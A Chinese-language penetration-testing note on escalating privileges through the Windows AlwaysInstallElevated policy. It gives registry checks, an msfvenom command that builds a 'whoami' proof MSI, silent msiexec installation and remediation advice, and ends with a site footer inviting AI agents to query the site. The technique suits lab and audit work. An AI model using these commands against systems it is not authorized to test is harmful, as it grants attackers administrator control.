> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).
# AlwaysInstallElevated Windows 提权
`AlwaysInstallElevated` 是一项危险的 Windows 策略，当当前用户和本地计算机的注册表键都启用时，它允许非管理员用户以提升的权限安装 MSI 包。
## 检测
当两个值都返回时，该发现即可被利用 `1`:
```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
## 实验室验证
在受控实验环境中，创建一个 MSI，用于执行一个明显可见的验证操作，例如将提升后的身份写入临时文件。只有在确认作用范围和监听器设置之后，才将该操作替换为授权的有效载荷。
```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```
## 执行安装程序
静默安装 MSI：
```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```
## 关键要点
* 两个注册表键都必须启用。
* MSI 以提升的权限运行。
* 如果只启用了一个键，请将其保留为加固发现，但不要将其视为可工作的提权。
* 通过禁用该策略并监控异常的 MSI 安装来进行修复。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.